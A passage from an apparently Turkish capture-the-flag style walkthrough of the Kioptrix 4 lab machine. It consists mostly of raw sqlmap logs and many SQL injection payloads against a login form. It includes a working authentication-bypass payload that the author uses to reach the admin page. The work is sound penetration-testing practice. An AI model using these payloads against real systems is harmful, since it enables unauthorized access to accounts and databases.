time-based blind (comment)'\n[20:14:57] [INFO] testing 'PostgreSQL AND time-based blind (heavy query)'\n[20:14:58] [INFO] testing 'PostgreSQL OR time-based blind (heavy query)'\n[20:14:58] [INFO] testing 'PostgreSQL AND time-based blind (heavy query - comment)'\n[20:14:58] [INFO] testing 'PostgreSQL OR time-based blind (heavy query - comment)'\n[20:14:58] [INFO] testing 'Microsoft SQL Server\/Sybase time-based blind (IF)'\n[20:14:59] [INFO] testing 'Microsoft SQL Server\/Sybase time-based blind (IF - comment)'\n[20:14:59] [INFO] testing 'Microsoft SQL Server\/Sybase AND time-based blind (heavy query)'\n[20:14:59] [INFO] testing 'Microsoft SQL Server\/Sybase OR time-based blind (heavy query)'\n[20:14:59] [INFO] testing 'Microsoft SQL Server\/Sybase AND time-based blind (heavy query - comment)'\n[20:14:59] [INFO] testing 'Microsoft SQL Server\/Sybase OR time-based blind (heavy query - comment)'\n[20:15:00] [INFO] testing 'Oracle AND time-based blind'\n[20:15:00] [INFO] testing 'Oracle OR time-based blind'\n[20:15:00] [INFO] testing 'Oracle AND time-based blind (comment)'\n[20:15:00] [INFO] testing 'Oracle OR time-based blind (comment)'\n[20:15:00] [INFO] testing 'Oracle AND time-based blind (heavy query)'\n[20:15:01] [INFO] testing 'Oracle OR time-based blind (heavy query)'\n[20:15:01] [INFO] testing 'Oracle AND time-based blind (heavy query - comment)'\n[20:15:01] [INFO] testing 'Oracle OR time-based blind (heavy query - comment)'\n[20:15:01] [INFO] testing 'IBM DB2 AND time-based blind (heavy query)'\n[20:15:02] [INFO] testing 'IBM DB2 OR time-based blind (heavy query)'\n[20:15:02] [INFO] testing 'IBM DB2 AND time-based blind (heavy query - comment)'\n[20:15:02] [INFO] testing 'IBM DB2 OR time-based blind (heavy query - comment)'\n[20:15:02] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'\n[20:15:02] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query)'\n[20:15:03] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query - comment)'\n[20:15:03] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query - comment)'\n[20:15:03] [INFO] testing 'Firebird >= 2.0 AND time-based blind (heavy query)'\n[20:15:03] [INFO] testing 'Firebird >= 2.0 OR time-based blind (heavy query)'\n[20:15:04] [INFO] testing 'Firebird >= 2.0 AND time-based blind (heavy query - comment)'\n[20:15:04] [INFO] testing 'Firebird >= 2.0 OR time-based blind (heavy query - comment)'\n[20:15:04] [INFO] testing 'SAP MaxDB AND time-based blind (heavy query)'\n[20:15:04] [INFO] testing 'SAP MaxDB OR time-based blind (heavy query)'\n[20:15:05] [INFO] testing 'SAP MaxDB AND time-based blind (heavy query - comment)'\n[20:15:05] [INFO] testing 'SAP MaxDB OR time-based blind (heavy query - comment)'\n[20:15:05] [INFO] testing 'HSQLDB >= 1.7.2 AND time-based blind (heavy query)'\n[20:15:05] [INFO] testing 'HSQLDB >= 1.7.2 OR time-based blind (heavy query)'\n[20:15:06] [INFO] testing 'HSQLDB >= 1.7.2 AND time-based blind (heavy query - comment)'\n[20:15:06] [INFO] testing 'HSQLDB >= 1.7.2 OR time-based blind (heavy query - comment)'\n[20:15:06] [INFO] testing 'HSQLDB > 2.0 AND time-based blind (heavy query)'\n[20:15:07] [INFO] testing 'HSQLDB > 2.0 OR time-based blind (heavy query)'\n[20:15:07] [INFO] testing 'HSQLDB > 2.0 AND time-based blind (heavy query - comment)'\n[20:15:07] [INFO] testing 'HSQLDB > 2.0 OR time-based blind (heavy query - comment)'\n[20:15:07] [INFO] testing 'Informix AND time-based blind (heavy query)'\n[20:15:07] [INFO] testing 'Informix OR time-based blind (heavy query)'\n[20:15:08] [INFO] testing 'Informix AND time-based blind (heavy query - comment)'\n[20:15:08] [INFO] testing 'Informix OR time-based blind (heavy query - comment)'\n[20:15:08] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'\n[20:15:08] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)'\n[20:15:08] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'\n[20:15:08] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)'\n[20:15:08] [INFO] testing 'MySQL < 5.0.12 time-based blind - Parameter replace (heavy queries)'\n[20:15:08] [INFO] testing 'MySQL time-based blind - Parameter replace (bool)'\n[20:15:08] [INFO] testing 'MySQL time-based blind - Parameter replace (ELT)'\n[20:15:08] [INFO] testing 'MySQL time-based blind - Parameter replace (MAKE_SET)'\n[20:15:08] [INFO] testing 'PostgreSQL > 8.1 time-based blind - Parameter replace'\n[20:15:08] [INFO] testing 'PostgreSQL time-based blind - Parameter replace (heavy query)'\n[20:15:08] [INFO] testing 'Microsoft SQL Server\/Sybase time-based blind - Parameter replace (heavy queries)'\n[20:15:08] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)'\n[20:15:08] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE)'\n[20:15:08] [INFO] testing 'Oracle time-based blind - Parameter replace (heavy queries)'\n[20:15:08] [INFO] testing 'SQLite > 2.0 time-based blind - Parameter replace (heavy query)'\n[20:15:08] [INFO] testing 'Firebird time-based blind - Parameter replace (heavy query)'\n[20:15:08] [INFO] testing 'SAP MaxDB time-based blind - Parameter replace (heavy query)'\n[20:15:08] [INFO] testing 'IBM DB2 time-based blind - Parameter replace (heavy query)'\n[20:15:08] [INFO] testing 'HSQLDB >= 1.7.2 time-based blind - Parameter replace (heavy query)'\n[20:15:09] [INFO] testing 'HSQLDB > 2.0 time-based blind - Parameter replace (heavy query)'\n[20:15:09] [INFO] testing 'Informix time-based blind - Parameter replace (heavy query)'\n[20:15:09] [INFO] testing 'MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause'\n[20:15:09] [INFO] testing 'MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)'\n[20:15:09] [INFO] testing 'PostgreSQL > 8.1 time-based blind - ORDER BY, GROUP BY clause'\n[20:15:09] [INFO] testing 'PostgreSQL time-based blind - ORDER BY, GROUP BY clause (heavy query)'\n[20:15:09] [INFO] testing 'Microsoft SQL Server\/Sybase time-based blind - ORDER BY clause (heavy query)'\n[20:15:09] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)'\n[20:15:09] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_PIPE.RECEIVE_MESSAGE)'\n[20:15:09] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (heavy query)'\n[20:15:09] [INFO] testing 'HSQLDB >= 1.7.2 time-based blind - ORDER BY, GROUP BY clause (heavy query)'\n[20:15:09] [INFO] testing 'HSQLDB > 2.0 time-based blind - ORDER BY, GROUP BY clause (heavy query)'\nit is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y\/n] Y\n[20:15:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'\n[20:15:09] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'\n[20:15:10] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'\n[20:15:10] [INFO] testing 'MySQL UNION query (random number) - 1 to 10 columns'\n[20:15:10] [WARNING] (custom) POST parameter '#1*' does not seem to be injectable\n[20:15:10] [INFO] testing if (custom) POST parameter '#2*' is dynamic\n[20:15:10] [WARNING] (custom) POST parameter '#2*' does not appear to be dynamic\n[20:15:10] [INFO] heuristic (basic) test shows that (custom) POST parameter '#2*' might be injectable (possible DBMS: 'MySQL')\n[20:15:10] [INFO] testing for SQL injection on (custom) POST parameter '#2*'\nit looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y\/n] Y\n[20:15:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'\n[20:15:11] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'\ngot a 302 redirect to 'http:\/\/10.10.250.143:80\/login_success.php?username='. Do you want to follow? [Y\/n] Y\nredirect is a result of a POST request. Do you want to resend original POST data to a new location? [y\/N] N\n[20:15:12] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'\n[20:15:12] [INFO] (custom) POST parameter '#2*' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable (with --code=200)\n[20:15:12] [INFO] testing 'Generic inline queries'\n[20:15:12] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'\n[20:15:12] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'\n[20:15:12] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'\n[20:15:12] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'\n[20:15:12] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'\n[20:15:12] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'\n[20:15:12] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'\n[20:15:12] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'\n[20:15:12] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[20:15:12] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[20:15:12] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'\n[20:15:12] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'\n[20:15:12] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'\n[20:15:12] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'\n[20:15:12] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[20:15:12] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'\n[20:15:12] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'\n[20:15:12] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'\n[20:15:12] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'\n[20:15:12] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'\n[20:15:12] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'\n[20:15:12] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'\n[20:15:12] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'\n[20:15:12] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'\n[20:15:12] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'\n[20:15:12] [INFO] testing 'MySQL inline queries'\n[20:15:12] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'\n[20:15:12] [INFO] testing 'MySQL >= 5.0.12 stacked queries'\n[20:15:12] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'\n[20:15:12] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'\n[20:15:12] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'\n[20:15:12] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'\n[20:15:12] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'\n[20:15:22] [INFO] (custom) POST parameter '#2*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable \n[20:15:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'\n[20:15:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found\n[20:15:22] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'\n[20:15:22] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'\n[20:15:22] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'\n[20:15:23] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'\n[20:15:23] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'\n[20:15:23] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'\n[20:15:23] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'\n[20:15:23] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'\n[20:15:23] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'\n[20:15:23] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'\n[20:15:23] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'\n[20:15:23] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'\n[20:15:23] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'\n[20:15:23] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'\n[20:15:24] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'\n[20:15:24] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'\n[20:15:24] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'\n[20:15:24] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'\n[20:15:24] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'\n[20:15:24] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval\n[20:15:24] [INFO] checking if the injection point on (custom) POST parameter '#2*' is a false positive\n[20:15:24] [WARNING] false positive or unexploitable injection point detected\n[20:15:24] [WARNING] (custom) POST parameter '#2*' does not seem to be injectable\n[20:15:24] [CRITICAL] all tested parameters do not appear to be injectable. As heuristic test turned out positive you are strongly advised to continue on with the tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and\/or switch '--random-agent'\n\n[*] ending @ 20:15:24 \/2021-05-22\/\n<\/code><\/pre>\n
sqlmap dmbs'in Mysql olabilece\u011fini s\u00f6yl\u00fcyor. 2. parametrede yani mypassword<\/strong> de sql injection olabilece\u011fini s\u00f6yl\u00fcyor ki infolara bakarsak got a 302 redirect to 'http:\/\/10.10.250.143:80\/login_success.php?username<\/a>=<\/strong> \u015feklinde bir y\u00f6nlendirme de alm\u0131\u015f\u0131z. \u015eimdi test'i tekrar ger\u00e7ekle\u015ftirece\u011fim. Sadece 2. parametre i\u00e7in sqlmap denemeleri yaparken uyar\u0131 verdi\u011fi yerdeki payload\u0131 elde etmek istiyordum. Ve a\u015fa\u011f\u0131daki \u00e7\u0131kt\u0131da elde ettim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# sqlmap -r istek.txt --level=5 --risk=3 --dbs -dbms="Mysql" -v 3\n        ___\n       __H__\n ___ ___[,]_____ ___ ___  {1.5.2#stable}\n|_ -| . ["]     | .'| . |\n|___|_  ["]_|_|_|__,|  _|\n      |_|V...       |_|   http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 20:30:02 \/2021-05-22\/\n\n[20:30:02] [INFO] parsing HTTP request from 'istek.txt'\n[20:30:02] [DEBUG] not a valid WebScarab log data\n[20:30:02] [DEBUG] cleaning up configuration parameters\n[20:30:02] [DEBUG] setting the HTTP timeout\n[20:30:02] [DEBUG] setting the HTTP User-Agent header\n[20:30:02] [DEBUG] creating HTTP requests opener object\n[20:30:02] [DEBUG] forcing back-end DBMS to user defined value\ncustom injection marker ('*') found in POST body. Do you want to process it? [Y\/n\/q] y\n[20:30:04] [INFO] testing connection to the target URL\n[20:30:04] [INFO] testing if the target URL content is stable\n[20:30:04] [INFO] target URL content is stable\n[20:30:04] [INFO] testing if (custom) POST parameter '#1*' is dynamic\n[20:30:04] [PAYLOAD] 8727\n[20:30:04] [WARNING] (custom) POST parameter '#1*' does not appear to be dynamic\n[20:30:04] [PAYLOAD] ))".))('.(\n[20:30:04] [INFO] heuristic (basic) test shows that (custom) POST parameter '#1*' might be injectable (possible DBMS: 'MySQL')\n[20:30:04] [PAYLOAD] 'bVyROq<'">PzDHUn\n[20:30:04] [INFO] testing for SQL injection on (custom) POST parameter '#1*'\n[20:30:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'\n[20:30:05] [PAYLOAD] ) AND 8769=5004-- vesj\n[20:30:05] [PAYLOAD] ) AND 2552=2552-- odPO\n[20:30:05] [PAYLOAD] ') AND 5787=5472-- rrBD\n[20:30:05] [PAYLOAD] ') AND 2552=2552-- Yazv\n[20:30:05] [PAYLOAD] ' AND 9307=2453-- kuWG\n[20:30:05] [PAYLOAD] ' AND 2552=2552-- MsCy\n[20:30:05] [PAYLOAD] " AND 2236=8821-- UtVQ\n[20:30:05] [PAYLOAD] " AND 2552=2552-- rpty\n[20:30:05] [PAYLOAD] ) AND 1829=8268 AND (8907=8907\n[20:30:05] [PAYLOAD] ) AND 2552=2552 AND (7515=7515\n[20:30:05] [PAYLOAD] )) AND 9323=3189 AND ((8254=8254\n[20:30:05] [PAYLOAD] )) AND 2552=2552 AND ((9536=9536\n[20:30:05] [PAYLOAD] ))) AND 3653=3641 AND (((6252=6252\n[20:30:05] [PAYLOAD] ))) AND 2552=2552 AND (((8483=8483\n[20:30:05] [PAYLOAD]  AND 5134=8270\n[20:30:05] [PAYLOAD]  AND 2552=2552\n[20:30:05] [PAYLOAD] ') AND 4588=7299 AND ('zIPb'='zIPb\n[20:30:05] [PAYLOAD] ') AND 2552=2552 AND ('HdSA'='HdSA\n[20:30:05] [PAYLOAD] ')) AND 4372=5323 AND (('RgiP'='RgiP\n[20:30:05] [PAYLOAD] ')) AND 2552=2552 AND (('aRUl'='aRUl\n[20:30:05] [PAYLOAD] '))) AND 1584=5771 AND ((('vtqo'='vtqo\n[20:30:05] [PAYLOAD] '))) AND 2552=2552 AND ((('tjYJ'='tjYJ\n[20:30:05] [PAYLOAD] ' AND 3759=1301 AND 'qpkj'='qpkj\n[20:30:05] [PAYLOAD] ' AND 2552=2552 AND 'FyUD'='FyUD\n[20:30:05] [PAYLOAD] ') AND 7248=3990 AND ('pKeG' LIKE 'pKeG\n[20:30:05] [PAYLOAD] ') AND 2552=2552 AND ('ovhk' LIKE 'ovhk\n[20:30:05] [PAYLOAD] ')) AND 3590=4828 AND (('eETt' LIKE 'eETt\n[20:30:05] [PAYLOAD] ')) AND 2552=2552 AND (('xwlJ' LIKE 'xwlJ\n[20:30:05] [PAYLOAD] '))) AND 2283=7282 AND ((('kDSz' LIKE 'kDSz\n[20:30:05] [PAYLOAD] '))) AND 2552=2552 AND ((('GEQp' LIKE 'GEQp\n[20:30:05] [PAYLOAD] %' AND 7655=5689 AND 'zWnQ%'='zWnQ\n[20:30:05] [PAYLOAD] %' AND 2552=2552 AND 'USMb%'='USMb\n[20:30:05] [PAYLOAD] ' AND 8638=7106 AND 'ioII' LIKE 'ioII\n[20:30:05] [PAYLOAD] ' AND 2552=2552 AND 'AFey' LIKE 'AFey\n[20:30:05] [PAYLOAD] ") AND 8306=3573 AND ("eipU"="eipU\n[20:30:05] [PAYLOAD] ") AND 2552=2552 AND ("alSV"="alSV\n[20:30:05] [PAYLOAD] ")) AND 3524=7568 AND (("avIJ"="avIJ\n[20:30:05] [PAYLOAD] ")) AND 2552=2552 AND (("KGjr"="KGjr\n[20:30:05] [PAYLOAD] "))) AND 7311=3091 AND ((("XCvj"="XCvj\n[20:30:05] [PAYLOAD] "))) AND 2552=2552 AND ((("aiVn"="aiVn\n[20:30:05] [PAYLOAD] " AND 6218=1065 AND "SmaY"="SmaY\n[20:30:05] [PAYLOAD] " AND 2552=2552 AND "BQOw"="BQOw\n[20:30:05] [PAYLOAD] ") AND 2813=7032 AND ("FVuu" LIKE "FVuu\n[20:30:05] [PAYLOAD] ") AND 2552=2552 AND ("IVng" LIKE "IVng\n[20:30:05] [PAYLOAD] ")) AND 3737=3445 AND (("pzee" LIKE "pzee\n[20:30:05] [PAYLOAD] ")) AND 2552=2552 AND (("VShV" LIKE "VShV\n[20:30:05] [PAYLOAD] "))) AND 5008=3235 AND ((("dRKG" LIKE "dRKG\n[20:30:05] [PAYLOAD] "))) AND 2552=2552 AND ((("ckXg" LIKE "ckXg\n[20:30:05] [PAYLOAD] " AND 3286=1170 AND "NGtH" LIKE "NGtH\n[20:30:05] [PAYLOAD] " AND 2552=2552 AND "cTKO" LIKE "cTKO\n[20:30:05] [PAYLOAD]  AND 3263=2000-- KjOf\n[20:30:05] [PAYLOAD]  AND 2552=2552-- WroB\n[20:30:05] [PAYLOAD]  AND 4566=5765# HOVQ\n[20:30:05] [PAYLOAD]  AND 2552=2552# sFrC\n[20:30:05] [PAYLOAD] ' AND 6592=2661 OR 'noPm'='eUtQ\n[20:30:05] [PAYLOAD] ' AND 2552=2552 OR 'ASEs'='pAdj\n[20:30:05] [PAYLOAD] ') WHERE 4675=4675 AND 2304=5200-- vGKc\n[20:30:05] [PAYLOAD] ') WHERE 6530=6530 AND 2552=2552-- Mgwq\n[20:30:05] [PAYLOAD] ") WHERE 1206=1206 AND 3068=3232-- CFIc\n[20:30:05] [PAYLOAD] ") WHERE 1025=1025 AND 2552=2552-- mjSl\n[20:30:05] [PAYLOAD] ) WHERE 2217=2217 AND 3085=6380-- rWCE\n[20:30:05] [PAYLOAD] ) WHERE 1250=1250 AND 2552=2552-- ylnH\n[20:30:05] [PAYLOAD] ' WHERE 4196=4196 AND 4732=5499-- kvJv\n[20:30:05] [PAYLOAD] ' WHERE 4681=4681 AND 2552=2552-- phrk\n[20:30:05] [PAYLOAD] " WHERE 8720=8720 AND 2842=2167-- WqFX\n[20:30:05] [PAYLOAD] " WHERE 9315=9315 AND 2552=2552-- npcP\n[20:30:05] [PAYLOAD]  WHERE 9951=9951 AND 7089=2264-- UpJv\n[20:30:05] [PAYLOAD]  WHERE 9566=9566 AND 2552=2552-- ptYX\n[20:30:05] [PAYLOAD] '||(SELECT 0x6d4c4c65 WHERE 3525=3525 AND 1050=1915)||'\n[20:30:05] [PAYLOAD] '||(SELECT 0x41434165 WHERE 6847=6847 AND 2552=2552)||'\n[20:30:05] [PAYLOAD] '||(SELECT 0x58524965 FROM DUAL WHERE 5482=5482 AND 1243=7338)||'\n[20:30:05] [PAYLOAD] '||(SELECT 0x69505a73 FROM DUAL WHERE 5551=5551 AND 2552=2552)||'\n[20:30:05] [PAYLOAD] '+(SELECT 0x6c467657 WHERE 5757=5757 AND 5860=9516)+'\n[20:30:05] [PAYLOAD] '+(SELECT 0x49706c51 WHERE 1380=1380 AND 2552=2552)+'\n[20:30:05] [PAYLOAD] ||(SELECT 0x68786763 FROM DUAL WHERE 2644=2644 AND 3884=4347)||\n[20:30:05] [PAYLOAD] ||(SELECT 0x694b447a FROM DUAL WHERE 6066=6066 AND 2552=2552)||\n[20:30:05] [PAYLOAD] ||(SELECT 0x67495a57 WHERE 1231=1231 AND 8769=2400)||\n[20:30:05] [PAYLOAD] ||(SELECT 0x68545664 WHERE 8779=8779 AND 2552=2552)||\n[20:30:05] [PAYLOAD] +(SELECT fVPM WHERE 3783=3783 AND 6859=4681)+\n[20:30:05] [PAYLOAD] +(SELECT vaKg WHERE 1112=1112 AND 2552=2552)+\n[20:30:05] [PAYLOAD] +(SELECT 0x42685245 WHERE 9994=9994 AND 1919=2715)+\n[20:30:05] [PAYLOAD] +(SELECT 0x454e5161 WHERE 3380=3380 AND 2552=2552)+\n[20:30:05] [PAYLOAD] ')) AS ZYdc WHERE 5573=5573 AND 6819=6522-- mtDf\n[20:30:05] [PAYLOAD] ')) AS SwQI WHERE 1482=1482 AND 2552=2552-- iTyu\n[20:30:05] [PAYLOAD] ")) AS cSuU WHERE 1121=1121 AND 2370=8698-- FOcl\n[20:30:05] [PAYLOAD] ")) AS hYtK WHERE 6523=6523 AND 2552=2552-- bgwV\n[20:30:05] [PAYLOAD] )) AS axdb WHERE 4079=4079 AND 3599=3440-- Hafb\n[20:30:05] [PAYLOAD] )) AS phMR WHERE 1539=1539 AND 2552=2552-- Scvz\n[20:30:05] [PAYLOAD] ') AS CDIZ WHERE 7564=7564 AND 2907=6543-- WfVT\n[20:30:05] [PAYLOAD] ') AS JgJl WHERE 3186=3186 AND 2552=2552-- njTT\n[20:30:05] [PAYLOAD] ") AS cgnM WHERE 5456=5456 AND 4098=8528-- VZUn\n[20:30:05] [PAYLOAD] ") AS FWkZ WHERE 5140=5140 AND 2552=2552-- tmqn\n[20:30:05] [PAYLOAD] ) AS IFNa WHERE 6680=6680 AND 5077=3154-- PmVe\n[20:30:05] [PAYLOAD] ) AS hGIP WHERE 1808=1808 AND 2552=2552-- WGEC\n[20:30:05] [PAYLOAD] ` WHERE 5882=5882 AND 3908=5406-- MRCd\n[20:30:05] [PAYLOAD] ` WHERE 8815=8815 AND 2552=2552-- GjZt\n[20:30:05] [PAYLOAD] `) WHERE 5066=5066 AND 9374=3329-- BMGy\n[20:30:05] [PAYLOAD] `) WHERE 9744=9744 AND 2552=2552-- cEXn\n[20:30:05] [PAYLOAD] `=`` AND 7823=2610 AND ``=`\n[20:30:05] [PAYLOAD] `=`` AND 2552=2552 AND ``=`\n[20:30:05] [PAYLOAD] "="" AND 7678=8059 AND ""="\n[20:30:05] [PAYLOAD] "="" AND 2552=2552 AND ""="\n[20:30:05] [PAYLOAD] ]-(SELECT 0 WHERE 5870=5870 AND 3149=7248)|[\n[20:30:05] [PAYLOAD] ]-(SELECT 0 WHERE 2592=2592 AND 2552=2552)|[\n[20:30:05] [PAYLOAD] ' IN BOOLEAN MODE) AND 2507=1374#\n[20:30:05] [PAYLOAD] ' IN BOOLEAN MODE) AND 2552=2552#\n[20:30:05] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'\n[20:30:05] [PAYLOAD] -2304\n[20:30:05] [PAYLOAD] -2850) OR 6386=1675-- jJXX\n[20:30:05] [PAYLOAD] -3405) OR 1467=1467-- HkhP\n[20:30:05] [PAYLOAD] -3919') OR 7815=8130-- pgYO\n[20:30:05] [DEBUG] setting match ratio for current parameter to 0.584\n[20:30:05] [PAYLOAD] -5417') OR 1467=1467-- fPLQ\n[20:30:05] [PAYLOAD] -7763' OR 5598=8935-- VZgR\n[20:30:05] [PAYLOAD] -3940' OR 1467=1467-- cWxz\ngot a 302 redirect to 'http:\/\/10.10.250.143:80\/login_success.php?username=admin'. Do you want to follow? [Y\/n] <\/code><\/pre>\n
-3940' OR 1467=1467-- cWxz<\/strong> payload\u0131n\u0131 burp ilede kulland\u0131\u011f\u0131mda ba\u015far\u0131l\u0131 bir \u015fekilde login_success.php?username=admin<\/strong> sayfas\u0131na gidiyorum. Ancak yine bir hata ile kar\u015f\u0131la\u015f\u0131yorum. Daha sonras\u0131nda tespit etti\u011fim kullan\u0131c\u0131lar akl\u0131ma geldi ve onlar ile denedim. \u0130ste\u011fim a\u015fa\u011f\u0131daki gibi oldu:<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# cat istek.txt \nPOST \/checklogin.php HTTP\/1.1\nHost: 10.10.250.143\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 66\nOrigin: http:\/\/10.10.250.143\nConnection: close\nReferer: http:\/\/10.10.250.143\/\nUpgrade-Insecure-Requests: 1\n\nmyusername=john&mypassword=*&Submit=Login\n<\/code><\/pre>\n
Haydi \u015fidmi sqlmap'e verelim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix4]\n\u2514\u2500# sqlmap -r istek.txt --level=5 --risk=3 --dbs -dbms="Mysql" --batch\n        ___\n       __H__\n ___ ___[(]_____ ___ ___  {1.5.2#stable}\n|_ -| . [(]     | .'| . |\n|___|_  [)]_|_|_|__,|  _|\n      |_|V...       |_|   http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 20:34:07 \/2021-05-22\/\n\n[20:34:07] [INFO] parsing HTTP request from 'istek.txt'\ncustom injection marker ('*') found in POST body. Do you want to process it? [Y\/n\/q] Y\n[20:34:07] [INFO] testing connection to the target URL\n[20:34:07] [INFO] testing if the target URL content is stable\n[20:34:07] [INFO] target URL content is stable\n[20:34:07] [INFO] testing if (custom) POST parameter '#1*' is 